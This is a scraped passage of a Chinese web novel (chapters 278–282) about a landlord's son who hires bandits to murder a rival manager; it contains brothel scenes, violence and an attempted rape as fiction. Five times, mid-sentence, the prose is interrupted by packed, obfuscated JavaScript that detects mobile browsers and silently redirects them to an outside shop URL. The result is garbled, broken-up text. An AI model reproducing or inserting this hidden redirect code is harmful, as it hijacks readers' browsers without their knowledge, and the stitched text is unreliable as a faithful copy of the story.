“胡少爷,您有什么吩咐?” 在醉仙楼,胡豹的知名度远比王霸高的多,王霸以前只是一名警察局的普通警察,前不久才花钱打通关系买了一个行动队副队长。 “花妈妈,赶紧让小凤仙过来吧。” 花芙蓉赶忙道歉道:“哎呀,胡少爷,实在是不好意思,小凤仙这会再接客,您看是不是换个姑娘?我们这里新来了一个姑娘,那小脸蛋、那小身材,保准让您飘飘欲仙。” 小凤仙是醉仙楼的头牌,一直是王霸的梦中情人。 听到小凤仙过不来,王霸的脸色相当难看。 “花妈妈,我早就和你订好了小凤仙,你怎么能随便变卦呢?我们霸爷只喜欢小凤仙,你马上去把她给我叫过来。” 花芙蓉笑得脸上的脂粉扑簌簌往下掉。 “哎吆,胡少爷,不是我变卦,是今天有特殊情况,小凤仙从下午进去一直到现在还没有出来,我也是没有办法啊。” 胡豹猛地一拍桌子。 “**,你现在去把小凤仙叫出来,我们就在这里等着。” “胡少爷,您这不是让我为难吗?客人没出来,我们没有去把人叫出来的道理啊!” 有王霸撑腰,胡豹的胆气壮了许多。 “你知道霸爷是谁吗?说出来吓死你,别废话了,马上去把小凤仙给我叫出来,我们霸爷只要小凤仙,不然老子把你醉仙楼砸了!” 花芙蓉看王霸气定神闲地坐在那里,脸上没有任何表情,一副高深莫测的样子,一看就不是一般人。 “这……胡少爷,这实在是太令我为难了!” 胡豹掏出五块大洋拍在桌子上。 “少废话,赶紧去!” 花芙蓉没有办法,只能硬着头皮答应下来。 她安排一名醉仙楼的打手去敲了房门。 当打手说明来意之后,只换来一个字:滚! 花芙蓉没有办法,只能领着一个姑娘来到胡豹所在的包厢。 “胡少爷,真是不好意思,那位客人还未尽兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005502|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,不答应让小凤仙出来,您看我身边这位姑娘,她叫小桃红,长的可比小凤仙水灵多了。小桃红,还不快给客人问好。” 小桃红眼神含春、嘴角带笑,一缕卷发垂落在白皙胸前,一看就是风骚的女人。 她笑里藏火,红唇轻启道:“胡少爷,小凤仙有什么好的?她会的我都会,她不会的我也会。” 相比小凤仙,胡豹更喜欢风骚放浪的小桃红,但王霸却不为所动,他的心里只有小凤仙。 胡豹看在眼里,急在心里。 他今天有求于王霸,如果不能让他高兴,今天所做的一切都是徒劳,还很可能得罪王霸。 “什么人这么嚣张?带我去看看!” 花芙蓉劝道:“胡少爷,我看还是算了吧?大家都是出来找乐子的,别给自己找不自在,您说是不是?” 胡豹受了李二狗一肚子气,正找不到地方发泄,加上又有王霸在他背后撑腰,根本听不进花芙蓉的劝解。 “告诉我是哪个房间?我倒要看看是谁这么大的谱!” 花芙蓉没有办法,只能指了指二楼的一个房间。 胡豹怒从心头起,恶向胆边生,一脚踢开房门,里面顿时传来女人的尖叫声。 小凤仙正被一个男人压在身下,激战正酣! 这更加激起了胡豹的愤怒之情。 “小凤仙,赶紧穿上衣服跟我走!” 男人彻底**豹激怒了,他赤裸着身体站起来,吓了胡豹一跳,确实有料! 正当胡豹胡思乱想之时,男人抬脚踢向胡豹,胡豹的身体腾空而起,轻飘飘地飞了出去。 “扑通”一声,撞到门外的栏杆上。 “不知死活的东西,竟敢打扰老子的雅兴!” 王霸定睛一看,竟是新任警察局局长富志高。 王霸吓得赶紧低着头离开了醉仙楼。 胡豹挣扎着从地上爬起来,想找王霸撑腰,却发现王霸早已不知去向。 刚才挨得那一脚,令胡豹脑子清醒了许多。 他心知自己不是此人的对手,赶紧灰溜溜离开了醉仙楼。 第278章 银样镴枪头 胡豹在县城里胡乱住了一夜,第二天一大早就来到警察局门前。 远远地看到王霸骑着自行车过来,他赶紧谄媚地上前打招呼:“王队长,早上好。” 王霸看了胡豹一眼,皱了皱眉头,没有停留,直接骑车进了警察局,根本没有搭理他。 “把那个人轰走,千万不要让他进来。”王霸进入警察局之时特意吩咐门卫。 “王队长!您等等我,我有事向您汇报。” 胡豹以为王霸还在因为昨晚的事情生自己的气,自己想要他解释清楚,便要跟着他一起进入警察局。 “站住!”门卫伸手拦住了他。 “老总,我是你们王队长的朋友,找他有点事。” “你不能进去!” “老总,我真是你们王队长的朋友,不信你可以问他。” 门卫冷笑道:“就是我们王队长不让你进的!这里是警察局重地,闲杂人等赶紧离开,否则把你抓起来关进监狱。” 胡豹傻眼了! 不就因为一个女人吗?用得着生这么大的气吗?这个王队长未免太小家子气了。 胡豹还想为自己争辩几句,但门卫根本不听,他作势要举枪,胡豹立马吓得狼狈而逃。 解铃还须系铃人,心病还须心药医,胡豹再次来到醉仙楼。 “花妈妈,今天小凤仙没有接客吧?” 花芙蓉笑道:“这回没有,没想到胡少爷一大早就来了,看来是真的喜欢我们小凤仙啊。” 胡豹担心小凤仙再被截胡,便说道:“小凤仙我包了,今天不要让她接待任何客人。” 花芙蓉喜笑颜开,一张大圆脸就像一朵花一样。 “胡少爷办事就是敞亮,嘻嘻,二十块大洋!” 胡豹惊呼道:“什么?二十块大洋?花妈妈,你这是趁机敲老子的竹杠啊!” 花芙蓉确实在敲胡豹竹杠,她认准胡豹非小凤仙不可,傻子才不趁机涨价。 “胡少爷,我们醉仙楼一直都是明码标价、童叟无欺,小凤仙的包日价就是二十块大洋,您要是嫌贵,可以找别的姑娘。” 胡豹为了让王霸高兴,别说二十块大洋,就是三十块、四十块大洋他也必须掏。 他从衣兜里掏出二十块大洋,扔到花芙蓉手里。 “快去把小凤仙给老子叫来!” 二十块大洋令胡豹的心在滴血,他准备先和小凤仙颠龙倒凤几次,这样至少心里可以平衡一些。 可胡豹忘记了自己是一个银样镴枪头,他得到的只是小凤仙的叹息哀和鄙视的眼神。 胡豹心有不甘,又玩了一些见不得人的花架子才恨恨地来到警察局门口。 “老总,我找王队长有急事,麻烦您给通传一下呗。” “王队长有交代,你不能进,赶紧离开这里!” 胡豹还是不死心。 “老总,我找王队长真有急事,麻烦您再给问一问。” “滚!” 胡豹没有办法,只能蹲在离警察局不远的一个角落里,希望能看到王霸的身影。 一直等到太阳落山,王霸才骑着自行车走出警察局,脚麻腿酸的胡豹赶紧跑了过去。 “王队长。” 王霸一看胡豹,下意识地向身后看了看,他很担心富志高看到自己和胡豹混在一起。 “胡豹,你怎么总是阴魂不散?赶紧给我滚,老子再也不想见到你。” 胡豹急忙解释道:“王队长,您别生气啊,我已经约好了小凤仙,她此时正在醉仙楼等着您呢。” 王霸不想和胡豹在警察局门口纠缠。 “你听不懂我的话吗?赶紧给我滚!我永远不想再见到你!” “王队长,您听我说。” “滚!” 王霸掏出**,“咔嚓”一声**上膛。 “王队长,您别生气,我走,我走还不行吗?”胡豹吓得狼狈而逃。 胡豹始终想不明白,为了一个小凤仙,至于这样吗? 以前自己给他送的那些钱,关键时刻连个响都没听见。 但胡豹对付李二狗的心没有变! 既然警察局指望不上,那就只能依靠土匪了。有时候警察还不如土匪,土匪收钱就办事,不像警察这样翻脸不认人。 胡豹来到清风寨门口。 “我要见你们大当家的。” “你是谁?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010351|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >“我是胡豹。” “胡豹?不认识!你找我们大当家的什么事?” “报仇!” 守门的土匪赵小憨一听,吓得赶紧举起枪对准胡豹。 “你小子好大的胆子,敢到清风寨找我们大当家的寻仇,我看你是活腻歪了。” 胡豹吓得腿都软了,头摇的拨浪鼓一般。 “误会了,误会了,不是我找你们大当家的报仇。” “那是谁找我们大当家的报仇?” “没有谁找你们大当家的报仇,是我要找你们大当家的报仇。” “说来说去还是你小子,给我抓起来。” “别别别啊,我的意思是我要找你们大当家的替我报仇。” 赵小憨这才明白胡豹的来意。 “你和我们大当家的认识?” “不认识。” “那你是别人介绍来的?” “是我自己要来的。” “那我们大当家的为何要帮你报仇?你以为你是县长的小舅子啊?” 胡豹被问糊涂了,花钱买凶报仇,天经地义的事情,怎么整得如此复杂。 “兄弟,我和你说不清楚,你快进去说一声,我要见你们大当家的。” “我们大当家的不在,再说我们大当家的是你想见就能见的吗?” “那就见你们二当家的。” 赵小憨是新来的,还从来没有遇到过这种事情。 “你在这里等着赵小憨肯定不会去向清风寨的几个经理汇报。 他找到负责守寨门的小头目孔三愣。 “愣哥,门外有人花钱买凶替他报仇” 孔三愣在朱重九时期就已经上了清风寨,作为清风寨的元老,他不仅没有得到重用,反而被安排守寨门,心中早有怨言。 山寨富裕的时候,他还能老老实实地遵守寨规,可如今遇上灾年,清风寨的日子也过得紧巴巴的,寨规在他心中也变得无足轻重起来。 孔三愣问道:“小憨兄弟,想不想挣点烟酒钱?” “当然想啊,楞哥,我都有半个月没喝酒了。” “那哥就带你去挣点烟酒钱,你不要声张,悄悄把他带到我这里来。” 第279章 胡豹** 赵小憨虽然是新来的,但他进寨的时候也学过寨规,知道未经山寨经理批准,任何人不能私自接待外人,更不能私自下山。 “楞哥,咱们这样做不好吧?让几个经理知道,恐受责罚。” “说你憨你还真憨啊?咱们请假下山,你不说我不说谁能知道咱们干什么?这年月什么都是假的,只有兜里的钱才是真的。” 看赵小憨还在犹豫,孔三愣说道:“你要是不愿意我也不勉强,你可以装作什么都不知道。” 孔三愣作为赵小憨的顶头上司,赵小憨当然不敢得罪他,同时他也确实喜欢钱,没有人会和钱过不去! “楞哥,我愿意,你说怎么干咱们就怎么干,我都听你的。” “这才是我的好兄弟,放心吧,跟着哥干,哥不会亏待你的,快去把人带到我这里来。” 赵小憨带着胡豹来见孔三愣。 “这是我们清风寨的孔爷,有什么事你可以和孔爷说。” 孔三愣翘着二郎腿坐在椅子上,屁股都没有动一动。 “你找我们清风寨有什么事?” 胡豹看孔三愣的气质,颇有土匪**气。 “孔爷您好,我有个仇家,想请你们出面帮我报仇。” “你想怎么报仇?” “杀了他!” 孔三愣不由得喉咙发紧,没想到是**。 他深吸一口气,努力让自己的声音听不出任何颤抖。 “**的价码可不低啊。” “孔爷,您说个数,我绝不还价。” 要太多怕吓走买主,太少又不值得自己去冒险,孔三愣想了想,便伸出两个手指头,说道:“至少得两百块大洋!” 两百块大洋对于胡豹来说不是小数目,但在江东县,除了清风寨,其他山寨的土匪不一定敢冒着得罪胡家大院的风险去杀李二狗。 想到胡家大院几千亩土地和规模庞大的院落,二百块大洋实在是不值得一提。 “好,事成之后,我一定双手奉上二百块大洋。” 孔三愣没想到胡豹答应的如此痛快,他心里暗暗埋怨自己要少了。 “呵呵,事成之后?这可不符合江湖规矩。” “孔爷的意思是?” “先付一百块大洋定金,事成之后再付剩下的一百块。” “成交,明天我一定把一百块大洋送来。” 孔三愣不想胡豹再来清风寨,便说道:“明天早上六点,在仙人洞镇西奈何桥边见。” 胡豹喜不自胜,有清风寨出马,李二狗就是有十个脑袋也难逃一劫,他抱拳施礼道:“孔爷,拜托了!咱们明天早上见。” “送客!” 胡豹回到家之后,没有把此事告诉胡汉三,他准备干成之后再给他爹一个大大的惊喜。 第二天一早,他带着一百块大洋赶到镇西的奈何桥边。 等了一会儿,孔三愣才带着赵小憨赶来。 “孔爷,这是一百块大洋,一切就都拜托您了。” 孔三愣把大洋在手里掂了掂,分量十足,然后笑眯眯地装进了自己口袋。 “明天早上六点,我们还在这里见面,到时候我把李二狗的人头带过来,你带上剩下的那一百块大洋。” 胡豹仿佛已经看到李二狗人头落地的样子。 “好,孔爷,不见不散。” 胡豹走后,赵小憨问道:“愣哥,咱们什么时候动手?” 孔三愣说道:“咱们只请了一天假,今天必须杀了李二狗,走,咱们先去胡家大院看看。” 孔三愣带着赵小憨来到胡家大院门前。 赵小憨**家大院雄伟的气势惊呆了。 “楞哥,这胡家大院可真**气派,咱们什么时候才能住上这样的房子啊?” “你小子命不好,没有个有钱的爹,这怨不得别人。” “楞哥,你快看,两边角楼上都有**,这深宅大院,咱们要想进入胡家大院**,实在不容易啊。” “凭咱两个人就想进胡家大院**?小憨,我看你小子的脑袋被驴踢了吧!” 赵小憨摸着脑袋嘿嘿一笑。 “楞哥,你就说咱们怎么办吧?我都听你的。” “我早就打听清楚了,李二狗有个爹叫李富贵,就住在镇子上。” “楞哥,祸不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010352|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 及父母,咱们这样做是不是……” “你懂个屁!谁说要祸及他父母了?咱们只是利用一下李富贵罢了。” 孔二楞附耳对赵小憨一番交代,赵小憨听后直竖大拇指。 “楞哥,你可真是诸葛亮下凡,兄弟服了。” “看你那傻雏的样子,咱们得等到晚上再动手,走,哥带你去一个好地方。” “什么好地方?” 孔三愣故意神秘地说道:“跟我走,到了你就知道了。” 李二狗正站在角楼里和张二驴说话,突然看到院门口站着两个人,感觉特别眼熟。 他急忙拿起望远镜,看到孔三愣和赵小憨正对着胡家大院指手画脚。 李二狗每次进出山寨都能见到他们俩,一眼便认出了他们。 他们此时突然出现在胡家大院门口,李二狗有一种不好的预感。 “二驴,你看到那两个人没有?” 张二驴顺着李二狗手指的方向,看到了孔三愣和赵小憨。 “看到了,怎么感觉他们鬼鬼祟祟的?” “你马上派两个人跟着他们。”李二狗还不放心,“还是你带个人跟着去吧,其他人我不放心。” 张二驴点点头,急忙带着一个家丁出门跟了上去。 孔三愣带着赵小憨来到一个窑子。 “爷,您可有日子没来了?翠红都想死你了。” 门口一个浓妆艳抹的中年妇女热情地和孔三愣打着招呼,一看就是很熟悉的样子。 “凤姐,只有翠红想我吗?你就没想我吗?” 凤姐笑得眉眼都弯了。 “去去去,我的年纪都能当你妈了,少和老娘贫嘴。” 孔三愣一头拱到凤姐怀里,猥琐地说道:“妈妈,我要吃……” “小兔崽子,你别以为老娘不敢?走,跟我进屋里,老娘肯定喂漾你。” 凤姐虽然打扮的很妖艳,但脸上的囊褶子都能夹**,面对满屋的莺莺燕燕,孔三愣对她可没有什么兴趣。 “凤姐,我可不敢,喝了拉肚子,哈哈。” “小兔崽子,有贼心没贼胆,以后少拿老娘打镲。” 第280章 人家是真的想你嘛 孔三愣掏出一块大洋,塞到凤姐手中。 “凤姐,赶紧让翠红出来,另外给我这个小兄弟找个水嫩的姑娘。” 凤姐把大洋放在嘴边用力地吹了一下,然后赶紧放到耳边,那嗡嗡的声响令她兴奋不已。 “孔爷,放心吧,姐给你安排的明明白白,翠红、红杏,快出来接客了。” “孔爷,您这段日子去哪了?人家都想死你了。” 孔三愣用力地掐了一把翠红的屁股,淫笑道:“爷也想你,想的都快不行了,快扶爷进屋,爷有好东西给你吃。” 翠红夸张地打了他一下,娇嗔道:“你好讨厌啊!” 孔三愣搂着翠红上了楼。 赵小憨紧张地不知道该说什么,脸红到了脖子根。 红杏见多识广,立马看出赵小憨还是个小雏鸡,她兴奋地直搓手。 “爷,来这里就是寻开心,放开点嘛。” “我……你……那个……” 红杏上前挽住他的胳膊。 “好了,咱们先进屋,我再慢慢教你。” 赵小憨只剩下傻笑。 张二驴站在门外不远处,把一切都看在了眼里。 等孔三愣等人上了楼,张二驴才走进妓院。 凤姐看到张二驴,激动地差点跳起来。 “哎吆,张管家,您怎么来了?快请进,快请进。” 张二驴没想到自己在仙人洞镇的窑子里还这么有名。 “刚才进去那两个人,你认识吗?” 凤姐惊讶的同时也显得有些犹豫。 “张管家,您知道的,我们不能轻易泄露客人的隐私。” 张二驴掏出一块大洋扔给她。 凤姐喜笑颜开,把张二驴拉到一旁,低声说道:“他叫孔三愣,以前经常来,最近一段时间不知道什么原因没有过来,另一个不认识。” “还有呢?” 凤姐眼睛不自觉地向二楼瞅了瞅,显得有些犹豫。 张二驴二话不说,又给了她一块大洋。 “张管家,我告诉您,您可得替我保密啊。” “说,我肯定不告诉任何人。” 凤姐深吸一口气,凑到张二驴耳边轻声道:“他是清风寨的土匪,张管家,您还是少惹他们为妙。” “给我开一个他隔壁的房间,另外咱俩刚才的谈话内容不要告诉任何人,知道吗?” “知道,知道,张管家,我再给您安排个姑娘吧,保证让您满意。” “不用了,只开房间就行。” 张二驴转头向跟着他的家丁吩咐道:“你在门口看着,有情况立刻告诉我。” 张二驴上楼,进入孔三愣隔壁的房间。 孔三愣还真有两把刷子,弄得翠红哭爹喊娘,许久才消停下来。 “爷,您怎么这么久没来?人家还以为你把我忘了呢。” “你是想爷兜里的大洋吧?” “爷,您怎么能这么说呢?人家是真的想你嘛。” “哈哈,乖,爷也是身不由己,不过你放心,爷以后会常来看你的。” 两人说一会儿话,玩一会儿高难度动作,张二驴听得口干舌燥,实在无趣,便开门走了出去。 “走,我们去对面等。” 张二驴带着家丁来到窑子对面的一个馄饨店,两人一边吃馄饨一边等着孔三愣等人出来。 一直等到月上柳梢头,孔三愣和赵小憨才从窑子里走出来。 张二驴急忙跟了上去。 走了半天,孔三楞最后在李富贵家院门门口停了下来。 张二驴大吃一惊,他知道这是李二狗给他爹李富贵买的院子。 孔三愣给赵小憨使了个眼色,赵小憨上前敲响了院门。 “谁啊?” 院子里传来一个甜美女人的声音。 孔三愣说道:“我们是胡家大院的,李管家让我们来给李老爷送点东西。” 一听是李二狗派来的,里面的人立刻放松了警惕。 院门打开,春妮一张略施粉黛的俏脸出现在孔三愣和赵小憨面前,孔三愣看呆了。 “你们是二狗派来的?” “你们是二狗派来的?” 春妮连问两次,孔三愣才反应过来。 “是啊,是啊,李管家让我们来给李老爷送点东西。” 春妮看着他们两手空空,又看了看他们身后,什么东西都没有。 “让你们送什么东西?” 面对春妮狐疑的眼光,孔三愣给赵小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014126|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 憨使了个眼神之后,猛地上前捂住春妮的嘴,把她拖进院里,赵小憨紧跟着走进去关上院门。 “你们是什么人?知道我儿子是谁吗?” 院子里传出李富贵的两声质问之后就没了声音。 “跟我冲进去。” 张二驴一脚踹开房门,李富贵已经被打倒在地,孔二楞正在撕扯春妮身上的衣服。 “住手!” 随着张二驴的一声暴喝,孔三愣赶紧松开春妮去掏自己的枪,张二驴怎会给他机会,上前一脚踢在他的面部。 孔三愣眼珠子一翻,顿时晕了过去。 “爷爷饶命,爷爷饶命!” 赵小憨跪在地上不停地求饶。 “去找根绳子来。” 春妮从地上爬起来,拍拍身上的灰尘,扣好被孔三愣扯开的衣扣,然后淡定地回屋拿出两根绳子。 她帮着张二驴等人把孔三愣和赵小憨绑了个结实。 春妮瞪着孔三愣,突然抬脚踹向他的裆部,昏迷中的孔三愣被硬生生疼醒了,杀猪一般地嚎叫起来。 春妮充耳不闻,抬脚又狠狠地踹向孔三愣的裆部,直到他疼得再次昏死过去。 “求求你,别打我,求求你,别打我,我什么都没做……”赵小憨直接吓破了胆。 张二驴威胁道:“我问你什么,你答什么,否则他的下场就是你的下场。” “我都说,我都说。” “你们是什么人?” “我们是清风寨的土匪。” “你们为什么要**李老爷和李夫人?” “为了把李二狗引来杀了他。” 张二驴震惊不已。 “你们为什么要杀李二狗?你们和他有仇?” “没有,没有,我们是受人之托。” “受谁之托?” “我不知道啊。” 张二驴抬腿作势要踹向他的裆部,赵小憨吓得面如土色。 “别别别,我想起来了,他说他叫胡豹,他给钱,我们替他**。” “你们怎么和买凶的人联系?” “我们和他约好,明天早上六点在镇西奈何桥边见面,他给我们剩下的大洋。” “看好他们,我回去告诉李管家。” 第281章 穷则生变 张二驴匆匆赶回胡家大院。 李二狗一直在等他。 “狗哥,出事了!” 听完张二驴的汇报,尽管和自己事先预料的情况差不多,李二狗还是显得异常愤怒。 他愤怒倒不是因为胡豹买**自己,而是清风寨竟然有人收钱充当凶手,这是他无法接受的。 自从自己灭了朱重九,掌管清风寨之后,他制定寨规寨律,改革管理方式,一直以为清风寨已经被改造成为一支有组织有纪律并富有战斗力的队伍,如今看来依然是一群乌合之众。 “二驴,我得谢谢你,不然我家老爷子这次可能就凶多吉少了。” 张二驴连忙说道:“狗哥,你太客气了,这都是我应该做的,咱们这关系,李大叔和我亲爹是一样的。” 李二狗拍了拍张二驴的肩膀,他现在已经完全是一个合格的地主大院管家。 “狗哥,那俩土匪怎么办?交给警察局吗?” 李二狗决定拿这两个土匪大做文章。 “二驴,派人把那俩土匪送还给清风寨。” 听了李二狗的话,张二驴并没有感到惊讶。 上次他带领民团消灭溃兵,火烧溃兵营地,隐约觉得李二狗和清风寨之间的关系非同一般。 他不敢直接问李二狗,便在事后偷偷打听清风寨的情况,这一打听不要紧,吓得他目瞪口呆。 清风寨几个当家的曾经都是胡家大院民团的队员,全部和李二狗有着千丝万缕的联系,尤其是陈老三,以前在胡家大院更是李二狗的铁杆狗腿子。 这几个人凑在一起,要说和李二狗没关系,打死他也不会相信。 “好的,我马上去安排。狗哥,胡豹怎么办?明天一早他们在奈何桥边接头,要不要我带人做了他?这样的人留不得!” 张二驴做了一个手抹脖子的手势。 “这件事你不用管,我自有安排,你只负责把那俩人送到清风寨。” 张二驴领命而去。 李二狗稍后来到李富贵家里。 李富贵头上缠着绷带,正躺在春妮怀里呻吟。 “二狗哇,你可算来了,爹差点就见不到你了。” 李富贵哭声呜咽,很快就把春妮胸前洇湿了一大片。 “爹,放心吧,以后不会再有人敢来**了。” “二狗哇,你现在在仙人洞镇也是有身份有地位的人了,以后做人做事还是像爹这样低调一些,千万不要轻易得罪人。” 李二狗看着比李富贵小二十多岁的春妮,心想,你做事可真够低调的,我可学不来。 “爹,要不然你跟我搬进胡家大院住吧?” “那怎么能行?你只是人家的管家,我住进去算怎么回事?” “没事的,爹,我在里面有房子。” “那也不行,爹可不能坏了规矩,再说我也不想寄人篱下,你说呢,春妮?” 春妮面无表情,说道:“你说怎么样就怎么样。” 其实李二狗也担心李富贵住进胡家大院之后管不住自己,犯一些男人都会犯的错误。 “你要不想去也行,以后我安排几个民团队员保护你们。” “这个好,这个好,春妮,看到了吧?二狗对咱是真孝敬。” 李二狗不想看他俩秀恩爱,便掏出二十块大洋放在桌子上。 “爹,明天去买点营养品补一补,别舍不得花钱,我还有事,改天再来看你。” 李富贵见到大洋喜不自胜,赶忙从床上爬下来,头也不疼了。 他答应春妮给她二十块大洋给她弟弟娶媳妇,自己刚才一直装可怜装受伤,其实就是为了让李二狗主动给钱。 他不敢主动问李二狗要钱,因为自从出了潘小莲的事情之后,他每次问李二狗要钱,李二狗总是问来问去,只要他说不出正当理由,李二狗绝对不会给他钱。 “好好好,你快去忙你的吧,你娘会照顾我的。” 对于这个娘,李二狗是绝对张不开嘴的。 李二狗连夜上了清风寨。 第二天早上,议事厅内,气氛凝重。 自从宋孬蛋离开清风寨到省城上军校之后,山寨里再也没有人有能力与陈老三抗衡。 李二狗不在山寨的那些日子,陈老三俨然成为清风寨的大当家。 他仗着自己和李二狗的特殊关系和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014127|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 资历,根本不把山寨轮值经理放在眼里。 事实证明,陈老三是将才而非帅才,他冲锋陷阵是把好手,但根本没有管理山寨的能力。 李二狗端坐在中央,阴沉着脸,其他人都低着头不敢说话。 “老三,孔三愣和赵小憨的事你怎么看?” 陈老三负责山寨的治安和防务,山寨出了这样的事情,他难辞其咎。 听到李二狗直接点了自己的名,内心更是忐忑不安。 “这俩**,公然违反寨规,收**下山**,还是要杀……”陈老三看了一眼李二狗,故意拍了桌子,“必须**,**一百次都不解气!” “三哥说得对,这样的害群之马必须杀一儆百!”陈嘎子附和道。 “是啊,不杀不足以平民愤!”张石头也同意**。 只有秀才没有说话,在山寨中,陈嘎子和张石头都是陈老三的追随者。他上山晚,资历浅,知道自己的意见在山寨根本没有分量,说与不说并没有什么影响。 李二狗对陈嘎子和张石头动辄附和陈老三的意见很不满,这种拉帮结伙搞小山头是他绝对不能接受的,他决定找机会一定要敲打敲打他们。 “秀才,你什么意见?” 秀才被李二狗点了名,只能说道:“我的意见和大家一样。” 大家的表态在李二狗的意料之中,清风寨的人被买通,要杀的人竟是自己,这样的人不杀,自己以后在清风寨领导层中的权威将荡然无存。 “他们两个确实该杀!但杀了他们之后呢?以后还会不会出现类似的情况?再出现类似的情况怎么办?继续杀吗?” 陈老三立马表态道:“当然要杀,这样的人有一个杀一个,绝不姑息!” “杀一两个人很容易,但我认为找出为什么会出现这种情况的原因远远比杀两个人更重要。” “狗哥,山寨入不敷出已久,目前面临着很大的困难,兄弟们这才生出异心,咱们得尽快想想办法怎么解决山寨的困难,不能总是这样拖下去。” 对于陈老三说的情况,李二狗深有同感,穷则生变,这符合人性。 第282章 耕者有其田 李二狗敲了敲桌子,说道:“老三说的有道理,但不管怎么样,清风寨绝不能走土匪打家劫舍的老路,这是原则性问题,没有讨价还价的余地。” “狗哥,土匪不打家劫舍怎么生存下去?” “是啊,三哥说得对,咱们可以不**普通老百姓,但对于那些地主豪绅,该**还得**,不然咱们这些人只能饿死!” 对于李二狗来说,**为富不仁、作恶多端的地主恶霸可以,但绝不能不分青红皂白,是地主就**。 陈老三、陈嘎子、张石头都是粗人,他们脑子里根本没有打家劫舍之外的东西。 “秀才,你认为呢?” 秀才毕竟读过几年书,见识远比他们要高得多。 “狗哥,我认为之所以会出现这种情况,还是因为兄弟们心中没有一个明确的目标。” “目标?什么目标?” “要想让大家服从命令听指挥,打压只能管一时却管不了一世,要想长久就必须让大家心中有一个明确目标。比如水泊梁山,他们的目标就是替天行道。天地会,他们的目标是反清复明。还有同盟会,他们的目标是驱除鞑虏、恢复中华。有了这些明确的目标,大家才有前进的动力,才能拧成一股绳,我认为咱们山寨也应该提出一个明确而响亮的口号。” 李二狗夸赞道:“秀才说的非常有道理,不愧是读书人,大家想一想咱们山寨应该提出一个什么样的口号?” “我看咱们就学宋江,替天行道就很好,响亮有力。” “我认为还是杀富济贫好,形象生动。” “还是除暴安良好,简单直接。” “秀才,你说说?” “狗哥,对于咱们农民来说,最大的愿望就是能有自己的土地,大家想一想,如果咱们都有地种,有粮吃,谁还愿意上山来当土匪?我觉得咱们山寨的口号必须和土地联系起来,就叫耕者有其田,大家觉得怎么样?” “耕者有其田?好啊,秀才,这个口号好,让大家有个盼头,以后再想做坏事的时候也会多想一想。” “耕者有其田,这就是我心中的理想啊。”陈老三感叹道,“秀才,你小子有才啊。” 秀才的意见被采纳,显得很兴奋,他继续说道:“狗哥,光提出一个口号还远远不够,关键是怎么去执行,得让大家看得见摸得着,这样才能有效果。” 李二狗用鼓励的眼光看着秀才。 “你有什么好建议,尽管提出来。” 秀才红光满面,说话的声音都高亢了许多。 “狗哥,我有一个不成熟的建议,大家看看合不合适?” “秀才,你尽管说,说出来大家再研究讨论。” 秀才终于觉得自己一身的本领有了用武之地。 “我觉得对于一个人来说,身边的人才是最好的榜样。” 秀才对此深有体会,正是因为张清明上军校,才让自己有了深深的危机感,心中才种下了向他学习并誓要超越他的理想。 “所以,咱们必须让大家真真切切地看到身边的人成功,只要在山寨好好干,就能分到土地,这样大家才有干事创业的激情和冲劲。” “秀才,你说的再具体一点。” 